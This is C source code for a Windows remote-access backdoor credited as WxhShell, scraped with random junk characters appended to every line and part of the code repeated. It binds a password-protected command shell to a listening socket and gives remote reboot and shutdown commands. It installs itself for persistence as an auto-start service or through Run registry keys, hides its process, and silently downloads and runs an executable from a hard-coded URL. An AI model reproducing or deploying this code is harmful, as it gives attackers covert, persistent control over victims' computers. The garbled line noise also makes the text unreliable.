    break; [A}rbD K  
    } 4h5g'!9-g  
  // 关机  tz#gClo  
  case 'd': { /9o!*K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mNmLyU=d  
    if(Boot(SHUTDOWN)) \V9Z #>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^w]/  
    else { vN 2u34  
    closesocket(wsh); F+E|r6'i  
    ExitThread(0); KD/V aN  
    } R[ 49(>7H4  
    break; "ZTTg>r  
    } N`)$[&NG]  
  // 获取shell  Z%I  
  case 's': { [((;+B  
    CmdShell(wsh); D:Q 21Ch  
    closesocket(wsh); IbcZ@'RSw  
    ExitThread(0); >^Se'SE]  
    break; Hm+ODv9  
  } D")_;NLE1  
  // 退出 Lh.`C7]  
  case 'x': { hp{OL<2M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^Rx9w!pAN  
    CloseIt(wsh); Vi4~`;|&b+  
    break; SP|<Tny  
    } hFiIW77 s2  
  // 离开 piU /&  
  case 'q': { c/_ +o;Bc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M$0u1~K  
    closesocket(wsh); -s6![eV  
    WSACleanup(); aR\\<due  
    exit(1); L`th7d"  
    break; J9K3s_SN  
        } ^(* n]  
  } oI^4pwnh  
  } VCtH%v#S;.  
p{PE@KO:  
  // 提示信息 -s9P 8W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7}*6#KRG  
} 6U^\{<h_c  
  } qF 9NQ;  
k</%YKk  
  return; s?ko?qN(  
} $T :un.TM  
|+`c3*PV  
// shell模块句柄 ID.n1i3  
int CmdShell(SOCKET sock) ]v#r4Ert  
{ w[6J `   
STARTUPINFO si; %Th>C2\  
ZeroMemory(&si,sizeof(si)); - Ij&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;Ag 3c+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {QCf}@_]h  
PROCESS_INFORMATION ProcessInfo; *6 _tQ9G  
char cmdline[]="cmd"; 31EyDU,W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4mn&4e  
  return 0; A>{p2?`+!  
} zD3mX<sw  
s}pIk.4ot!  
// 自身启动模式 1xv8gC:6  
int StartFromService(void) V5U?F6  
{ :_Eqf8T  
typedef struct g#]wLm#  
{ sl2@umR7%(  
  DWORD ExitStatus; P,sjo u^  
  DWORD PebBaseAddress; 9}z0J  
  DWORD AffinityMask; &sF^Fgg{  
  DWORD BasePriority; 5XLs} :  
  ULONG UniqueProcessId; _,</1~.  
  ULONG InheritedFromUniqueProcessId; `Y?87f:SP  
}   PROCESS_BASIC_INFORMATION; u !!X6<  
wCk~CkC?  
PROCNTQSIP NtQueryInformationProcess; ]jpu,jz:  
gNGr!3*)w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \p%3vRwS%p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <w\:<5e'  
M@W[Bz  
  HANDLE             hProcess; I5h[%T  
  PROCESS_BASIC_INFORMATION pbi; [%&ZPJT%i  
% >;#9"O4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XR!us/U`a  
  if(NULL == hInst ) return 0; n<B<93f/  
CkswJ:z)sc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .G o{1[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F7")]q3I~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ; O<9|?  
pStk/te,XK  
  if (!NtQueryInformationProcess) return 0; ]\ngX;h8G  
(LHp%LaZ\;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e6_ZjrQf  
  if(!hProcess) return 0; W[+|}  
CIVnCy z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -l}IZY  
[=%TnT+^9  
  CloseHandle(hProcess); _20#2i&  
i_][P TH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w{k)XY40sW  
if(hProcess==NULL) return 0; dJ?XPo"Cm=  
y< C<_2  
HMODULE hMod; cQ:"-!ff  
char procName[255]; gT/@dVV  
unsigned long cbNeeded; yz2Ci0Dwy  
:iR \%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0P>OJYFr'  
Vb qto|X@  
  CloseHandle(hProcess); RI2f`p8k  
Nm):9YQ/  
if(strstr(procName,"services")) return 1; // 以服务启动 fSDi- I  
Z!0]/mCE8  
  return 0; // 注册表启动 ET];%~ ^  
} q.2(OP>(  
bxK(9.  
// 主模块 |w}xl'>q  
int StartWxhshell(LPSTR lpCmdLine) n41@iK2l  
{ ny-7P;->8  
  SOCKET wsl; r6'UUu  
BOOL val=TRUE; }IEb yb  
  int port=0; #y|V|nd  
  struct sockaddr_in door; lt$zA%`odc  
-G,^1AL>  
  if(wscfg.ws_autoins) Install(); !se0F.K  
kX:tc   
port=atoi(lpCmdLine); Hx$c N  
-yDs< Xl  
if(port<=0) port=wscfg.ws_port; w<9>Q1(  
yk2!8  
  WSADATA data; W(fr<<hL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9dh >l!2  
FI8Oz,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i~J;G#b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7t9c7HLuj/  
  door.sin_family = AF_INET; &4dz}zz90  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G= ^X1+_  
  door.sin_port = htons(port); ydv3owN  
M9!AIHq4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _B2V "p  
closesocket(wsl); >*twTlb{  
return 1; #sKWd  
} 5W =(+Q>C  
~{>?*Gd&T  
  if(listen(wsl,2) == INVALID_SOCKET) { t"j|nz{m  
closesocket(wsl); B@Nt`ky0*  
return 1; h?\2 _s  
} S~$'WA  
  Wxhshell(wsl); :PbDU$x  
  WSACleanup(); Vv$HR  
PZ8U6K'  
return 0; nRhrWS  
q ^rl)  
} k&hc m  
2Ha5yaTL  
// 以NT服务方式启动 1gO2C $  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ngulcv  
{ iNCX:Y  
DWORD   status = 0; *0Gz)'  
  DWORD   specificError = 0xfffffff; 0h$GI"dR  
i54md$Q^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^C&+ ~+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z41_oG7   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4"\ yf  
  serviceStatus.dwWin32ExitCode     = 0; =j0x.f Se  
  serviceStatus.dwServiceSpecificExitCode = 0; e2$]g>  
  serviceStatus.dwCheckPoint       = 0; k6IG+:s  
  serviceStatus.dwWaitHint       = 0; ZA#y)z8!E  
,gnQa  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); | P6EO22p  
  if (hServiceStatusHandle==0) return; j&6 jRX  
-'rj&x{Q)U  
status = GetLastError(); k7_I$ <YDj  
  if (status!=NO_ERROR) UkR3}{i  
{ ]0c Pml  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #`tD1T{;  
    serviceStatus.dwCheckPoint       = 0; p}]q d4j  
    serviceStatus.dwWaitHint       = 0; #`GbHxd  
    serviceStatus.dwWin32ExitCode     = status; <l\N|+7R  
    serviceStatus.dwServiceSpecificExitCode = specificError; `!\ivIi^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B{, Bno  
    return; & %}/AoU  
  } g jG2  
"2n;3ByR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]S8LY.Az5  
  serviceStatus.dwCheckPoint       = 0; 6i@ub%qq  
  serviceStatus.dwWaitHint       = 0;  0V11#   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AvRcS]@=  
} z<C[nR$N  
&R]pw`mTH  
// 处理NT服务事件,比如:启动、停止 hd^x}iK"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;cSGlE |  
{ y~#\#w {  
switch(fdwControl) Z*bC#s?  
{ `mErF%b  
case SERVICE_CONTROL_STOP: 1k>naf~O  
  serviceStatus.dwWin32ExitCode = 0; gg8c7d:Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GJak.,0t  
  serviceStatus.dwCheckPoint   = 0; .)ST[G]WK  
  serviceStatus.dwWaitHint     = 0; d7~j^v)=^  
  { 9y+[o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NiTJ}1 l  
  } )1_(>|@oi  
  return; 6+%-GgPf  
case SERVICE_CONTROL_PAUSE: %_tk7x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xURw,  
  break; }'`xu9<  
case SERVICE_CONTROL_CONTINUE: yisLypM*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w`#fH  
  break; nYov>x]  
case SERVICE_CONTROL_INTERROGATE: [ _%,6e+  
  break; T'R,vxP)\  
}; $r"A@69^RS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]18Ucf  
} Iq,v  
uYTCdZQh  
// 标准应用程序主函数 #{>uC&jD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PPgW ^gj  
{ px [~=$F  
)VY10 R)$  
// 获取操作系统版本 5+y`P$K@  
OsIsNt=GetOsVer(); "A7<XN<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0ny{)Sd6um  
DyX0 xx^  
  // 从命令行安装 @ KJV1t`  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?>)yKa#U  
/| f[us-w  
  // 下载执行文件 EW;1`x  
if(wscfg.ws_downexe) { 6 6dTs,C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I7bi@t  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^f0(aYWx  
} ;Xh5oB\)W  
\P@S"QO  
if(!OsIsNt) { ! OfO:L7-  
// 如果时win9x,隐藏进程并且设置为注册表启动 <{ # <5 8  
HideProc(); gUb "3g0  
StartWxhshell(lpCmdLine); Fo LDMx(  
} p|s2G~0<  
else <)J55++  
  if(StartFromService()) P,`=]Y*  
  // 以服务方式启动 hOn  
  StartServiceCtrlDispatcher(DispatchTable); DCK_F8  
else UhBz<>i;!  
  // 普通方式启动 .> ,Z k S  
  StartWxhshell(lpCmdLine); (l2<+R%1  
DZ%8 |PmB  
return 0; T"B8;|  
} i2U/RXu  
:^.u-bHI  
CL )%p"[x  
uAQg"j  
=========================================== _&=9Ke  
BMF3XcH~G  
S~} +ypV  
^[*AK_o_DQ  
LsnXS9_  
%"{?[!C ?  
" mxZ4 HD{  
&4[<F"W>47  
#include <stdio.h> `dP? 2-Z  
#include <string.h> [10$a(g\x  
#include <windows.h> rC~_:uXtE  
#include <winsock2.h> !(}OBZ[*  
#include <winsvc.h>  -\5[Nq{N  
#include <urlmon.h> yM W'-\  
Un~]Q?w  
#pragma comment (lib, "Ws2_32.lib") ;%M2x5  
#pragma comment (lib, "urlmon.lib") K T%i,T  
7Z9.z 4\  
#define MAX_USER   100 // 最大客户端连接数 01'y^`\xQ  
#define BUF_SOCK   200 // sock buffer -<H ri5  
#define KEY_BUFF   255 // 输入 buffer 6_x}.bkIx=  
3{I=.mUUm  
#define REBOOT     0   // 重启 wrhBH;3  
#define SHUTDOWN   1   // 关机 &`-_)~5]  
#vnefIcBf  
#define DEF_PORT   5000 // 监听端口 <d3PDO@w/  
V,`!rJ  
#define REG_LEN     16   // 注册表键长度 ~D$#>'C#  
#define SVC_LEN     80   // NT服务名长度 9T?~$XlX  
q|?`Gsr  
// 从dll定义API 8|fLe\"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D<lQoO+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Cln^1N0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Zjw!In|vC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 02;f2;I  
{(8U8f<'=y  
// wxhshell配置信息 x;<oaT$X  
struct WSCFG { <|ka{=T  
  int ws_port;         // 监听端口 I3V{"Nx6  
  char ws_passstr[REG_LEN]; // 口令 c8 H9_6  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2(@LRl>:  
  char ws_regname[REG_LEN]; // 注册表键名 )*"T  
  char ws_svcname[REG_LEN]; // 服务名 +d|:s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3Pw %[q=g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9;}L{yve  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "TEBByO'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W9:fKP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u Zo]8mV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U&tfl/  
yd\5Z[iEp  
}; Krt$=:m|1  
f>.` xC{  
// default Wxhshell configuration v)wY  
struct WSCFG wscfg={DEF_PORT, &\CJg'D:m  
    "xuhuanlingzhe", TsoCW]h  
    1, [i2A{(x  
    "Wxhshell", V,99N'o~x  
    "Wxhshell", ;P 0,60  
            "WxhShell Service", GLbc/qs  
    "Wrsky Windows CmdShell Service", Gsx^j?  
    "Please Input Your Password: ", >eYU$/80  
  1, U^vUdM"  
  "http://www.wrsky.com/wxhshell.exe", )*q7pO\cty  
  "Wxhshell.exe" &<\4q  
    }; IBn'iE[>  
TyxU6<>4J4  
// 消息定义模块 9;;]q?*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Vu_7uSp,)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; My'9S2Y8nv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yf0vR%,\  
char *msg_ws_ext="\n\rExit."; LZ=wz.'u  
char *msg_ws_end="\n\rQuit."; <(u3+`f1s  
char *msg_ws_boot="\n\rReboot..."; B]+7 JB  
char *msg_ws_poff="\n\rShutdown..."; s8`}x_k=  
char *msg_ws_down="\n\rSave to "; lq78gOg{  
Fjb4BdZ P  
char *msg_ws_err="\n\rErr!"; IN]`lJ  
char *msg_ws_ok="\n\rOK!"; 9&|12x$  
wdN>KS2!  
char ExeFile[MAX_PATH]; <-Kb@V3  
int nUser = 0; bUY:XmA  
HANDLE handles[MAX_USER]; p 02nd.R6  
int OsIsNt; f }evw K[S  
F:[Nw#gj/  
SERVICE_STATUS       serviceStatus; %RfY`n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P>yG/:W;  
Zi2Eu4p l{  
// 函数声明 !3b|*].B  
int Install(void); I{*.htt{  
int Uninstall(void); tkm~KLWV&7  
int DownloadFile(char *sURL, SOCKET wsh); |IyM"UH  
int Boot(int flag); rw40<SS"Z  
void HideProc(void); v%69]a-T  
int GetOsVer(void); e{q p!N1!  
int Wxhshell(SOCKET wsl); +j)-L \  
void TalkWithClient(void *cs); 2fHIk57jP  
int CmdShell(SOCKET sock); !9ceCnwbNN  
int StartFromService(void); 8M".o n  
int StartWxhshell(LPSTR lpCmdLine); ue^?/{OuT  
42b=z//;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t ?Njw7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *Dd(+NI  
Kd AR)EU>  
// 数据结构和表定义 )eTnR:=  
SERVICE_TABLE_ENTRY DispatchTable[] = nsr _\F\  
{ @4W\RwD  
{wscfg.ws_svcname, NTServiceMain}, di)noQXkB-  
{NULL, NULL} L:k@BCQM  
}; 7>W+Uq  
9}'l=b:Jms  
// 自我安装 WNF=NNO-R  
int Install(void) W_e-7=6  
{ /jK17}j  
  char svExeFile[MAX_PATH]; it/C y\f  
  HKEY key; ]XpU'/h>q;  
  strcpy(svExeFile,ExeFile); }R(0[0NQe-  
~]6Oz;~<3  
// 如果是win9x系统,修改注册表设为自启动 0IT20.~  
if(!OsIsNt) { ~,M;+T}[r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lyOrM7Gs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); //'xR8Z  
  RegCloseKey(key); ]6i_d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^)%wq@Hi  
  RegCloseKey(key); a-UD_|!  
  return 0; .LGkr@P  
    } fd,}YAiX  
  } 6f5sIg  
} =5s~$C  
else { ^}Dv$\;6  
|+$j( YuH  
// 如果是NT以上系统,安装为系统服务 vt(}ga  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /%}YuN  
if (schSCManager!=0) mXN1b!  
{ 6"rFfdns  
  SC_HANDLE schService = CreateService gl(6m`a>  
  ( !,-qn)b  
  schSCManager, Li<266#A!  
  wscfg.ws_svcname, b/D9P~cE  
  wscfg.ws_svcdisp, 4<eJ  
  SERVICE_ALL_ACCESS, zYgK$u^H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4o)\DB?!  
  SERVICE_AUTO_START, ?G%, k LJJ  
  SERVICE_ERROR_NORMAL, DY+8m8!4H  
  svExeFile, e) /u>I  
  NULL, !z4Hj{A_  
  NULL, -c<1H)W  
  NULL, rTH[?mkf4  
  NULL, R(7X}*@X  
  NULL !~$YD*" S  
  ); Ik@Q@ T"  
  if (schService!=0) gYH:EuY,  
  { vI:bl~  
  CloseServiceHandle(schService); ,{mf+ 3&$,  
  CloseServiceHandle(schSCManager); MCWG*~f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RZ,<D I  
  strcat(svExeFile,wscfg.ws_svcname); ?`[ uh%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q,M/R6i-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2dV\=vd  
  RegCloseKey(key); xz Gsfd  
  return 0; 48"Y-TV  
    } !\D] \|Bo  
  } ?` ZGM  
  CloseServiceHandle(schSCManager); GWkJ/EX  
}  "ppb%=  
} o4I!VK(C#s  
EuimZW\V  
return 1; 1o"oa<*_  
} XKPt[$ab  
9|kEq>d  
// 自我卸载 p6eDd"Y  
int Uninstall(void) Ll E_{||h  
{ G~$M"@Q7N  
  HKEY key; li'1RKr  
1-Wnc'(OK  
if(!OsIsNt) { DGuUI}|)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EA@$^e[  
  RegDeleteValue(key,wscfg.ws_regname); GzZ|T7fm  
  RegCloseKey(key); (Ss77~W7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `))J8j"  
  RegDeleteValue(key,wscfg.ws_regname); KlX |PQ  
  RegCloseKey(key); bEXHB  
  return 0; H|Fqc=qp  
  } u4*]jt;H  
} "j@IRuH  
} HEfA c  
else { R;-FZ@u/  
IM&7h! l"|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '8pPGh9D  
if (schSCManager!=0) $v}8lBCr3  
{ ThqfZl=V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a!J ow?(  
  if (schService!=0) D(ntVR  
  { Bw/H'Y  
  if(DeleteService(schService)!=0) { ^9V8M9  
  CloseServiceHandle(schService); e !x-:F#4j  
  CloseServiceHandle(schSCManager); h'q0eqYeu)  
  return 0; _R<V8g1f  
  } uc(yos  
  CloseServiceHandle(schService); R O3e  
  } )+{omQ7v  
  CloseServiceHandle(schSCManager); TboHP/  
} L!Zxc~  
} NVh>Q>B$_  
d~1"{WPSn  
return 1; 'N,NG$G2  
} 6Oqnb+  
{c EK z\RX  
// 从指定url下载文件 %m\G'hY2  
int DownloadFile(char *sURL, SOCKET wsh) LVcy.kU@]  
{ 9C'+~<l  
  HRESULT hr; r L|BkN  
char seps[]= "/"; mt6uW+t/  
char *token; cW|Zgz8vv  
char *file; % |Gzht\  
char myURL[MAX_PATH]; X|lmH{kf  
char myFILE[MAX_PATH]; -clg 'Aa;.  
N*)8L[7_;  
strcpy(myURL,sURL); WMRgf~TY=2  
  token=strtok(myURL,seps); ~Wd8>a{w  
  while(token!=NULL) hD.wKX?oO  
  { ?j$8Uy$$  
    file=token; ump:dL5{  
  token=strtok(NULL,seps); ?;7>`F6ld  
  } M #Ru I%  
 ~9jP++&  
GetCurrentDirectory(MAX_PATH,myFILE); &IPK5o,  
strcat(myFILE, "\\"); 73Zs/  
strcat(myFILE, file); yT9RNo/w  
  send(wsh,myFILE,strlen(myFILE),0); GN"LU>9|  
send(wsh,"...",3,0); GQAg ex)D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^|12~d_.T  
  if(hr==S_OK) Y%cA2V\#m  
return 0; 7Z:l;%]K  
else P*=3$-`  
return 1; l8Iy 03H  
7(iRz  
} hQLx"R$  
f6A['<%o  
// 系统电源模块 F"? *@L  
int Boot(int flag) ?BZ`mrH^  
{ X1QZEl  
  HANDLE hToken; k#G7`dJl  
  TOKEN_PRIVILEGES tkp; *1]k&#s  
%iFIY=W  
  if(OsIsNt) { :v ~q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |y=F ( 6Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \B +SzW  
    tkp.PrivilegeCount = 1; N28?JQha  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D_kz R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XQ y|t"Vq>  
if(flag==REBOOT) { *G"#.YvE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y-k~ 7{7  
  return 0; MM$" 6Jor  
} 0s[3:bZ\Ia  
else { qCT\rZU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _( /lBf{|  
  return 0; gxtbu$  
} tdK^X1  
  } AsF`A"Cdw<  
  else { 2G> ]W?>  
if(flag==REBOOT) { xJ5!` #=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k(Xv&Zn  
  return 0; nezbmpL4  
} QRa6*AYm  
else { AQU: 0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "lb!m9F{  
  return 0; P&,cCR>  
} ]Y! Vyn  
} #$T"QL@  
md LJ,w?{  
return 1; < R%6L&  
} \>azY g  
pC Is+1O/  
// win9x进程隐藏模块 !sWBj'[>  
void HideProc(void) 2{: J1'pC  
{ )f&]H}  
70(?X/5#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Av4E ?@R  
  if ( hKernel != NULL ) l~c> jm8.  
  { Qj[O$L0 $  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (19<8a9G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u6d~d\  
    FreeLibrary(hKernel); 4=cq76  
  } YIqfGXu8  
.?]_yX  
return; K0a 50@B]  
} }-iOYSn  
kfECC&"  
// 获取操作系统版本 ]`9K|v  
int GetOsVer(void) =%G[vm/-)  
{ qE=OQs9  
  OSVERSIONINFO winfo; Vtk|WV?>P+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bUL9*{>G  
  GetVersionEx(&winfo); ogbdt1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) be@uHikp;v  
  return 1; 3o^M%  
  else <-aI%'?*  
  return 0; TnAX;+u  
} _ @76eZd  
j)*nE./3  
// 客户端句柄模块 5nb6k,+E  
int Wxhshell(SOCKET wsl) f/m6q8!L{  
{ 6GvnyJ{[  
  SOCKET wsh; o)WSMV(&f  
  struct sockaddr_in client; ,Yz+?SmSZ&  
  DWORD myID; =1Jo-!{{  
VHNiTp  
  while(nUser<MAX_USER) }Cf[nGh|B  
{ M lwQ_5O  
  int nSize=sizeof(client); h]9^bX__Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &|] ^ u/  
  if(wsh==INVALID_SOCKET) return 1; ^q2zqC  
ywte \}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZeV)/g,w  
if(handles[nUser]==0) v21?  
  closesocket(wsh); ~Wv?p4  
else !~v>&bCG>9  
  nUser++; (P8oXb+%  
  } &i RX-)^u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r U5'hK  
t,nB`g?  
  return 0; #1R %7*$i  
} gvYs<,:  
B[50{;X  
// 关闭 socket uD3_'a  
void CloseIt(SOCKET wsh) :"]ei@  
{ $S{j}74[  
closesocket(wsh); cIjsUqKa  
nUser--; DcHMiiVM  
ExitThread(0); \$"Xr  
}  CVp<SS(  
8?XZF[D  
// 客户端请求句柄 O?Tg`]EX  
void TalkWithClient(void *cs) ? Y* PVx9Y  
{ YZ@-0_Z  
2=EKAg=S  
  SOCKET wsh=(SOCKET)cs; [%kucGC7  
  char pwd[SVC_LEN]; |e >-v  
  char cmd[KEY_BUFF]; ~O-8h0d3  
char chr[1]; =oJiNM5_u  
int i,j; X3yr6J[ ^  
= ;d<Ikj  
  while (nUser < MAX_USER) { L4b4X  
g!ww;_  
if(wscfg.ws_passstr) { cK&oC$[r-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); = @o}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %\0 Y1!Hw  
  //ZeroMemory(pwd,KEY_BUFF); KHtY +93  
      i=0; AAcbY;  
  while(i<SVC_LEN) { |#6Lcz7[  
P_U-R%f  
  // 设置超时 d9"4m>ymS  
  fd_set FdRead; $}fA;BP  
  struct timeval TimeOut; 2Fi*)\{  
  FD_ZERO(&FdRead); ~l~g0J  
  FD_SET(wsh,&FdRead); ): 6d_g{2  
  TimeOut.tv_sec=8; .>n|#XK  
  TimeOut.tv_usec=0; bE~lc}%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); stPCw$@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @AOiZOH  
QL#y)G53Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cx}-tj"m-  
  pwd=chr[0]; k9n93I|Cm  
  if(chr[0]==0xd || chr[0]==0xa) { hLRQ)  
  pwd=0; Z]<_a)>  
  break; <h({+N  
  } L%FL{G  
  i++; hr5)$qZW  
    } 30@ GFaab  
^ dqEOW  
  // 如果是非法用户,关闭 socket 7_,gAE:kG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .E&~]<  
} kns]P<g  
|+;"^<T)l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2B7&Ll\>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )Yml'?V"  
e+wd>iiB  
while(1) { zu#o<6E{  
D 3PF(Wx  
  ZeroMemory(cmd,KEY_BUFF); il~,y8WTU{  
jPfoI-  
      // 自动支持客户端 telnet标准   $$a"A(Y  
  j=0; tF|bxXs Z  
  while(j<KEY_BUFF) { (&(f`c@I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <T).+ M/  
  cmd[j]=chr[0]; .FUE F)  
  if(chr[0]==0xa || chr[0]==0xd) { ;/@R{G{+~;  
  cmd[j]=0; 2olim1  
  break; 9[`6f8S_$  
  } I1g u<a  
  j++; }wV rmDh \  
    } !T*izMX}  
9=|5-? ^  
  // 下载文件 !r<7]nwV  
  if(strstr(cmd,"http://")) { lK-I[i!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); PO&`r r  
  if(DownloadFile(cmd,wsh)) f@0`,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c,@6MeKHq  
  else cF6|IlhO  
